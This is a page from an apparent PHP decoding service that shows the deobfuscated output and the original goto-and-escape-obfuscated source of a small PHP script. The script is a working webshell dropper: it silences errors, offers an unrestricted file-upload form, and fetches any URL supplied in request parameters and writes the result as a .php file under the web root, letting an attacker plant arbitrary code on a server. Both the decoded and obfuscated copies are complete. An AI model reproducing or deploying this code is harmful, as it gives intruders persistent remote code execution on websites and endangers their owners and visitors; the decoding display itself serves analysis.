Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto GM57w; ldbDW: $QRQXn = "\160\x68\x70"; goto BOdn4; W7wsL: echo "\74\146\x6f\1..
Decoded Output download
<?php
goto GM57w; ldbDW: $QRQXn = "php"; goto BOdn4; W7wsL: echo "<form enctype="multipart/form-data" method="POST"><input name="reload" type="file"/><input type="submit" value="File Reload"/></form></td></tr>"; goto CJdJa; t9a5v: if ($uLkJv[3] == "txt") { goto nz5pu; } goto dc4jl; D49OX: qFIfM: goto W7wsL; c303j: $pr1xu = $_POST["url"]; goto TVI51; k06ys: SJ4qI($pr1xu, $JYGAo); goto utYOV; mdHh4: goto O4de8; goto o6u2h; bD3l5: X7O3e: goto RLky3; Yjkgl: CpTNy: goto Q_yPr; BOdn4: $CkgRw = $uLkJv[2]; goto RPvVQ; FiG10: echo "<tr><td><font color="red">download fail</font></td></tr>"; goto Z1Etf; xmJet: SJ4qi($pr1xu, $JYGAo); goto H0UXb; RPvVQ: xXyzf: goto EZd_H; u1EK9: Z5Kq_: goto c303j; uUTBR: KKvKp: goto V3XxU; GM57w: error_reporting(0); goto R9y9m; H0UXb: if (file_exists($JYGAo)) { goto HsUDU; } goto jjoXg; S5YTz: $CkgRw = "moban"; goto PRG8O; EZd_H: $JYGAo = $_POST["path"] . "/" . $CkgRw . "." . $QRQXn; goto xmJet; Od3_h: goto o0IxG; goto ixOcJ; dcRRU: if (!isset($_FILES["reload"])) { goto qFIfM; } goto eCzT1; a1YH4: if ($_GET["dir"]) { goto FI4Ej; } goto dAlqK; utYOV: if (file_exists($JYGAo)) { goto Sm6qL; } goto FiG10; v9CTM: Sm6qL: goto eY56C; R9y9m: $oP2Ib = __DIR__; goto dcRRU; SfjtA: if ($_GET["url"]) { goto X7O3e; } goto Z7y3B; Wh9kf: o0IxG: goto D49OX; QbqUf: $CkgRw = "moban"; goto soc2y; Z1Etf: goto CpTNy; goto v9CTM; jdfNL: xM52V: goto k06ys; o6u2h: HsUDU: goto F8ozS; mrau_: jQHmj: goto aYjlf; Q_yPr: goto KKvKp; goto u1EK9; In6cB: echo "<font color="red">file fail</font><br />"; goto Od3_h; fSDp0: lkLfZ: goto a1YH4; ixOcJ: AULAw: goto lYg0e; ipnEn: goto KKvKp; goto bD3l5; TMuis: nz5pu: goto ldbDW; V2Rry: if (move_uploaded_file($_FILES["reload"]["tmp_name"], $Pbuod)) { goto AULAw; } goto In6cB; dc4jl: $QRQXn = $uLkJv[3]; goto S5YTz; m58d8: $QRQXn = $uLkJv[3]; goto QbqUf; C28ZA: goto xM52V; goto ohqv8; Sz2J6: $JYGAo = $_SERVER["DOCUMENT_ROOT"] . "/" . $_GET["dir"] . "/" . $CkgRw . "." . $QRQXn; goto jdfNL; jjoXg: echo "<tr><td><font color="red">download fail</font></td></tr>"; goto mdHh4; eCzT1: $Pbuod = basename($_FILES["reload"]["name"]); goto V2Rry; TVI51: preg_match("/(.*)\/(.*)\.(.*?)$/", $pr1xu, $uLkJv); goto t9a5v; Z7y3B: if ($_POST["url"]) { goto Z5Kq_; } goto ipnEn; eY56C: echo "<tr><td><font color="green">download success</font></td></tr>"; goto Yjkgl; KpaBb: $CkgRw = $uLkJv[2]; goto fSDp0; VaYNw: preg_match("/(.*)\/(.*)\.(.*?)$/", $pr1xu, $uLkJv); goto gGcOE; ohqv8: FI4Ej: goto Sz2J6; PRG8O: goto xXyzf; goto TMuis; F8ozS: echo "<tr><td><font color="green">download success</font></td></tr>"; goto bpygF; lYg0e: echo "<font color="green">file reload</font><br />"; goto Wh9kf; soc2y: goto lkLfZ; goto mrau_; gGcOE: if ($uLkJv[3] == "txt") { goto jQHmj; } goto m58d8; RLky3: $pr1xu = $_GET["url"]; goto VaYNw; dAlqK: $JYGAo = $_SERVER["DOCUMENT_ROOT"] . "/" . $CkgRw . "." . $QRQXn; goto C28ZA; aYjlf: $QRQXn = "php"; goto KpaBb; CJdJa: function SJ4Qi($pr1xu, $JYGAo) { goto LY2vp; HPbOz: curl_setopt($tUl6Q, CURLOPT_RETURNTRANSFER, 1); goto xuCwA; xuCwA: curl_setopt($tUl6Q, CURLOPT_TIMEOUT, 10); goto i69L4; uP3MN: file_put_contents($JYGAo, $rZSGi); goto TYj5V; LY2vp: $tUl6Q = curl_init(); goto HIudA; W4mPR: $rZSGi = @file_get_contents($pr1xu); goto MVlN2; MVlN2: HRh2I: goto uP3MN; HIudA: curl_setopt($tUl6Q, CURLOPT_URL, $pr1xu); goto HPbOz; lmVtE: if ($rZSGi) { goto HRh2I; } goto W4mPR; i69L4: $rZSGi = curl_exec($tUl6Q); goto lmVtE; TYj5V: } goto SfjtA; bpygF: O4de8: goto uUTBR; V3XxU: echo "<tr><td><form method="POST"><span>Url: </span><input type=text name="url" value=""><input type="hidden" name="path" value="{$oP2Ib}"><input type=submit value="Download"></form></td></tr>"; ?>
Did this file decode correctly?
Original Code
<?php
goto GM57w; ldbDW: $QRQXn = "\160\x68\x70"; goto BOdn4; W7wsL: echo "\74\146\x6f\162\x6d\x20\x65\156\x63\164\171\160\x65\x3d\x22\x6d\165\154\x74\x69\x70\x61\162\x74\57\146\x6f\x72\x6d\55\x64\141\x74\141\x22\40\x6d\145\164\150\x6f\x64\75\42\120\117\123\x54\x22\76\x3c\x69\x6e\160\x75\164\x20\x6e\x61\155\x65\75\x22\x72\x65\x6c\157\x61\x64\x22\40\x74\x79\160\x65\75\42\146\x69\154\x65\42\57\76\74\x69\156\x70\x75\x74\x20\164\x79\160\x65\75\x22\x73\x75\142\x6d\151\164\42\40\x76\x61\x6c\x75\145\x3d\x22\106\x69\154\x65\x20\x52\145\x6c\x6f\141\144\x22\57\76\x3c\x2f\x66\x6f\162\155\x3e\x3c\57\x74\144\76\x3c\x2f\164\162\76"; goto CJdJa; t9a5v: if ($uLkJv[3] == "\164\x78\x74") { goto nz5pu; } goto dc4jl; D49OX: qFIfM: goto W7wsL; c303j: $pr1xu = $_POST["\x75\162\154"]; goto TVI51; k06ys: SJ4qI($pr1xu, $JYGAo); goto utYOV; mdHh4: goto O4de8; goto o6u2h; bD3l5: X7O3e: goto RLky3; Yjkgl: CpTNy: goto Q_yPr; BOdn4: $CkgRw = $uLkJv[2]; goto RPvVQ; FiG10: echo "\74\164\162\x3e\x3c\x74\144\76\x3c\146\x6f\156\x74\40\143\157\154\157\162\x3d\x22\162\x65\x64\x22\x3e\144\157\167\156\x6c\157\141\144\x20\146\141\151\x6c\74\x2f\146\x6f\156\x74\76\74\57\x74\x64\x3e\x3c\57\x74\162\76"; goto Z1Etf; xmJet: SJ4qi($pr1xu, $JYGAo); goto H0UXb; RPvVQ: xXyzf: goto EZd_H; u1EK9: Z5Kq_: goto c303j; uUTBR: KKvKp: goto V3XxU; GM57w: error_reporting(0); goto R9y9m; H0UXb: if (file_exists($JYGAo)) { goto HsUDU; } goto jjoXg; S5YTz: $CkgRw = "\x6d\157\142\141\x6e"; goto PRG8O; EZd_H: $JYGAo = $_POST["\160\141\164\x68"] . "\57" . $CkgRw . "\56" . $QRQXn; goto xmJet; Od3_h: goto o0IxG; goto ixOcJ; dcRRU: if (!isset($_FILES["\162\145\x6c\x6f\141\144"])) { goto qFIfM; } goto eCzT1; a1YH4: if ($_GET["\x64\151\162"]) { goto FI4Ej; } goto dAlqK; utYOV: if (file_exists($JYGAo)) { goto Sm6qL; } goto FiG10; v9CTM: Sm6qL: goto eY56C; R9y9m: $oP2Ib = __DIR__; goto dcRRU; SfjtA: if ($_GET["\x75\x72\154"]) { goto X7O3e; } goto Z7y3B; Wh9kf: o0IxG: goto D49OX; QbqUf: $CkgRw = "\x6d\x6f\x62\141\x6e"; goto soc2y; Z1Etf: goto CpTNy; goto v9CTM; jdfNL: xM52V: goto k06ys; o6u2h: HsUDU: goto F8ozS; mrau_: jQHmj: goto aYjlf; Q_yPr: goto KKvKp; goto u1EK9; In6cB: echo "\x3c\146\x6f\x6e\x74\x20\x63\157\x6c\x6f\x72\x3d\x22\162\x65\144\x22\76\146\x69\154\145\x20\x66\141\x69\154\74\x2f\x66\157\156\164\x3e\74\142\162\40\57\x3e"; goto Od3_h; fSDp0: lkLfZ: goto a1YH4; ixOcJ: AULAw: goto lYg0e; ipnEn: goto KKvKp; goto bD3l5; TMuis: nz5pu: goto ldbDW; V2Rry: if (move_uploaded_file($_FILES["\162\x65\x6c\x6f\141\144"]["\x74\x6d\x70\137\156\x61\x6d\x65"], $Pbuod)) { goto AULAw; } goto In6cB; dc4jl: $QRQXn = $uLkJv[3]; goto S5YTz; m58d8: $QRQXn = $uLkJv[3]; goto QbqUf; C28ZA: goto xM52V; goto ohqv8; Sz2J6: $JYGAo = $_SERVER["\104\x4f\x43\125\115\105\116\124\x5f\x52\117\x4f\124"] . "\x2f" . $_GET["\x64\151\x72"] . "\57" . $CkgRw . "\56" . $QRQXn; goto jdfNL; jjoXg: echo "\x3c\164\162\76\74\164\144\76\x3c\x66\157\156\164\x20\143\x6f\x6c\157\162\75\x22\162\x65\x64\x22\x3e\x64\157\167\x6e\154\x6f\141\x64\x20\x66\141\151\x6c\74\x2f\146\157\x6e\164\76\74\57\164\x64\x3e\x3c\x2f\164\x72\x3e"; goto mdHh4; eCzT1: $Pbuod = basename($_FILES["\x72\x65\154\157\141\x64"]["\x6e\141\x6d\x65"]); goto V2Rry; TVI51: preg_match("\57\50\x2e\52\51\134\x2f\50\56\52\51\134\x2e\x28\56\52\x3f\x29\44\x2f", $pr1xu, $uLkJv); goto t9a5v; Z7y3B: if ($_POST["\165\162\x6c"]) { goto Z5Kq_; } goto ipnEn; eY56C: echo "\x3c\x74\x72\76\74\x74\x64\76\74\x66\157\x6e\x74\x20\143\x6f\x6c\157\162\75\x22\x67\162\145\145\156\42\76\144\157\167\x6e\x6c\x6f\x61\x64\40\163\165\143\x63\145\163\163\74\x2f\146\x6f\156\164\x3e\x3c\57\x74\x64\x3e\x3c\x2f\x74\x72\x3e"; goto Yjkgl; KpaBb: $CkgRw = $uLkJv[2]; goto fSDp0; VaYNw: preg_match("\57\x28\x2e\52\51\134\x2f\x28\x2e\52\51\134\x2e\x28\56\52\x3f\51\44\57", $pr1xu, $uLkJv); goto gGcOE; ohqv8: FI4Ej: goto Sz2J6; PRG8O: goto xXyzf; goto TMuis; F8ozS: echo "\74\164\x72\x3e\74\164\144\76\x3c\x66\157\x6e\164\x20\143\157\x6c\x6f\x72\75\42\147\x72\x65\145\156\x22\x3e\144\157\167\x6e\154\x6f\x61\144\x20\163\165\143\x63\x65\x73\163\x3c\x2f\x66\x6f\156\x74\76\74\57\164\144\x3e\74\x2f\x74\x72\76"; goto bpygF; lYg0e: echo "\x3c\x66\157\156\x74\40\143\x6f\x6c\157\x72\75\x22\x67\162\145\145\156\42\x3e\x66\x69\x6c\x65\x20\x72\145\x6c\157\141\x64\74\x2f\146\x6f\156\164\x3e\x3c\x62\162\40\57\x3e"; goto Wh9kf; soc2y: goto lkLfZ; goto mrau_; gGcOE: if ($uLkJv[3] == "\164\170\x74") { goto jQHmj; } goto m58d8; RLky3: $pr1xu = $_GET["\165\x72\154"]; goto VaYNw; dAlqK: $JYGAo = $_SERVER["\104\x4f\103\125\115\105\116\x54\137\x52\x4f\117\x54"] . "\57" . $CkgRw . "\56" . $QRQXn; goto C28ZA; aYjlf: $QRQXn = "\x70\150\160"; goto KpaBb; CJdJa: function SJ4Qi($pr1xu, $JYGAo) { goto LY2vp; HPbOz: curl_setopt($tUl6Q, CURLOPT_RETURNTRANSFER, 1); goto xuCwA; xuCwA: curl_setopt($tUl6Q, CURLOPT_TIMEOUT, 10); goto i69L4; uP3MN: file_put_contents($JYGAo, $rZSGi); goto TYj5V; LY2vp: $tUl6Q = curl_init(); goto HIudA; W4mPR: $rZSGi = @file_get_contents($pr1xu); goto MVlN2; MVlN2: HRh2I: goto uP3MN; HIudA: curl_setopt($tUl6Q, CURLOPT_URL, $pr1xu); goto HPbOz; lmVtE: if ($rZSGi) { goto HRh2I; } goto W4mPR; i69L4: $rZSGi = curl_exec($tUl6Q); goto lmVtE; TYj5V: } goto SfjtA; bpygF: O4de8: goto uUTBR; V3XxU: echo "\x3c\164\162\76\x3c\x74\x64\x3e\74\146\x6f\x72\x6d\x20\155\x65\x74\150\157\144\x3d\x22\x50\117\123\124\x22\76\74\x73\160\141\156\76\x55\x72\x6c\72\40\x3c\57\163\x70\141\x6e\x3e\74\x69\x6e\160\x75\x74\x20\164\171\x70\x65\75\x74\x65\x78\x74\40\156\x61\x6d\x65\x3d\x22\x75\x72\154\42\40\x76\141\x6c\x75\x65\x3d\x22\x22\x3e\x3c\151\156\x70\165\x74\x20\x74\x79\x70\x65\x3d\42\x68\151\x64\x64\x65\156\42\x20\x6e\141\x6d\145\75\42\160\x61\x74\x68\x22\x20\x76\x61\x6c\x75\145\75\42{$oP2Ib}\42\x3e\74\151\x6e\160\x75\x74\x20\x74\x79\x70\145\75\163\x75\142\155\x69\x74\x20\x76\141\x6c\x75\145\x3d\x22\104\157\x77\x6e\154\157\x61\144\42\x3e\x3c\57\x66\x6f\x72\x6d\76\74\57\164\x64\x3e\x3c\x2f\x74\162\x3e";
Function Calls
None |
Stats
MD5 | 3f4f4b15245758c6c68fd1bd24e95b3b |
Eval Count | 0 |
Decode Time | 86 ms |